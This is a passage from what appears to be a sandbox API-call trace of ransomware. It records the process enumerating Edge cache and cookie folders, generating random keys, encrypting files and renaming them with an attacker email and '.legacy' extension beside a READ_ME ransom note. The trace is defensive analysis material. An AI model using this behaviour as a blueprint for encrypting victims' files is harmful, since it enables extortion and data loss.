lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.624] WriteFile (in: hFile=0x1b84, lpBuffer=0x56dc90*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56dc90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c, lpOverlapped=0x0) returned 1 [0192.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0192.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0192.624] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c [0192.624] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.624] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.624] WriteFile (in: hFile=0x1b84, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.624] WriteFile (in: hFile=0x1b84, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.625] CloseHandle (hObject=0x1b84) returned 1 [0192.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0192.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0192.625] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\roottools.conf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\roottools.conf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618460 | out: hHeap=0x520000) returned 1 [0192.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585418 | out: hHeap=0x520000) returned 1 [0192.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585228 | out: hHeap=0x520000) returned 1 [0192.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c94c8 [0192.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ca090 | out: hHeap=0x520000) returned 1 [0192.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6a130 | out: hHeap=0x520000) returned 1 [0192.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f635e8 | out: hHeap=0x520000) returned 1 [0192.627] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x43eeca81, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d46f0 [0192.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5748 | out: hHeap=0x520000) returned 1 [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78a18 [0192.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67210 [0192.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78a18 | out: hHeap=0x520000) returned 1 [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6650 [0192.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67210 | out: hHeap=0x520000) returned 1 [0192.627] GetLastError () returned 0x0 [0192.627] SetLastError (dwErrCode=0x0) [0192.627] GetLastError () returned 0x0 [0192.627] SetLastError (dwErrCode=0x0) [0192.627] GetLastError () returned 0x0 [0192.627] SetLastError (dwErrCode=0x0) [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56ddf0 [0192.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56ddf0 | out: hHeap=0x520000) returned 1 [0192.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4530 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4530 | out: hHeap=0x520000) returned 1 [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0192.628] FindNextFileW (in: hFindFile=0x30d46f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x43eeca81, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x520000) returned 1 [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78c38 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67c38 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78c38 | out: hHeap=0x520000) returned 1 [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6650 [0192.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67c38 | out: hHeap=0x520000) returned 1 [0192.628] GetLastError () returned 0x0 [0192.628] SetLastError (dwErrCode=0x0) [0192.628] GetLastError () returned 0x0 [0192.628] SetLastError (dwErrCode=0x0) [0192.628] GetLastError () returned 0x0 [0192.628] SetLastError (dwErrCode=0x0) [0192.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4370 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4370 | out: hHeap=0x520000) returned 1 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0192.629] FindNextFileW (in: hFindFile=0x30d46f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1047542f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1047542f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x520000) returned 1 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79430 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66ef0 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79430 | out: hHeap=0x520000) returned 1 [0192.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6650 [0192.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.629] GetLastError () returned 0x0 [0192.629] SetLastError (dwErrCode=0x0) [0192.629] GetLastError () returned 0x0 [0192.629] SetLastError (dwErrCode=0x0) [0192.629] GetLastError () returned 0x0 [0192.630] SetLastError (dwErrCode=0x0) [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63610 [0192.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63610 | out: hHeap=0x520000) returned 1 [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585228 [0192.630] FindNextFileW (in: hFindFile=0x30d46f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb76b62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb76b62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0192.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x520000) returned 1 [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78d48 [0192.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67080 [0192.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78d48 | out: hHeap=0x520000) returned 1 [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6d40 [0192.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67080 | out: hHeap=0x520000) returned 1 [0192.630] GetLastError () returned 0x0 [0192.630] SetLastError (dwErrCode=0x0) [0192.630] GetLastError () returned 0x0 [0192.630] SetLastError (dwErrCode=0x0) [0192.630] GetLastError () returned 0x0 [0192.630] SetLastError (dwErrCode=0x0) [0192.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.630] FindNextFileW (in: hFindFile=0x30d46f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb76b62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb76b62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0192.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585418 [0192.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0192.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0192.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0192.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.631] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat", dwFileAttributes=0x80) returned 1 [0192.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585dc8 [0192.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618750 [0192.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585dc8 | out: hHeap=0x520000) returned 1 [0192.631] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b88 [0192.632] GetFileSizeEx (in: hFile=0x1b88, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0192.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3448 [0192.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3458 [0192.632] ReadFile (in: hFile=0x1b88, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0192.632] SetFilePointer (in: hFile=0x1b88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.632] WriteFile (in: hFile=0x1b88, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0192.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0192.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0192.632] SetFilePointer (in: hFile=0x1b88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0192.632] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.632] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.633] WriteFile (in: hFile=0x1b88, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.633] WriteFile (in: hFile=0x1b88, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.633] CloseHandle (hObject=0x1b88) returned 1 [0192.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0192.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0192.634] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618750 | out: hHeap=0x520000) returned 1 [0192.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585418 | out: hHeap=0x520000) returned 1 [0192.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585228 | out: hHeap=0x520000) returned 1 [0192.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9c08 [0192.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c94c8 | out: hHeap=0x520000) returned 1 [0192.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9b20 | out: hHeap=0x520000) returned 1 [0192.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63728 | out: hHeap=0x520000) returned 1 [0192.636] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbe330de9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4570 [0192.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6d40 | out: hHeap=0x520000) returned 1 [0192.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0192.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78e58 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67080 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78e58 | out: hHeap=0x520000) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d54f8 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67080 | out: hHeap=0x520000) returned 1 [0192.643] GetLastError () returned 0x0 [0192.643] SetLastError (dwErrCode=0x0) [0192.643] GetLastError () returned 0x0 [0192.643] SetLastError (dwErrCode=0x0) [0192.643] GetLastError () returned 0x0 [0192.643] SetLastError (dwErrCode=0x0) [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4130 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4130 | out: hHeap=0x520000) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0192.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0192.644] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbe330de9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d54f8 | out: hHeap=0x520000) returned 1 [0192.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0192.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0192.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66ef0 [0192.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f797e8 | out: hHeap=0x520000) returned 1 [0192.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d5ac0 [0192.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.644] GetLastError () returned 0x0 [0192.644] SetLastError (dwErrCode=0x0) [0192.644] GetLastError () returned 0x0 [0192.645] SetLastError (dwErrCode=0x0) [0192.645] GetLastError () returned 0x0 [0192.645] SetLastError (dwErrCode=0x0) [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd40 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd40 | out: hHeap=0x520000) returned 1 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f635e8 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d43f0 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d43f0 | out: hHeap=0x520000) returned 1 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f635e8 | out: hHeap=0x520000) returned 1 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0192.645] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c11f621, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9c11f621, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9c11f621, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="03I3HWP3.cookie", cAlternateFileName="03I3HW~1.COO")) returned 1 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5ac0 | out: hHeap=0x520000) returned 1 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79980 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66ef0 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79980 | out: hHeap=0x520000) returned 1 [0192.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d5870 [0192.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.645] GetLastError () returned 0x0 [0192.646] SetLastError (dwErrCode=0x0) [0192.646] GetLastError () returned 0x0 [0192.646] 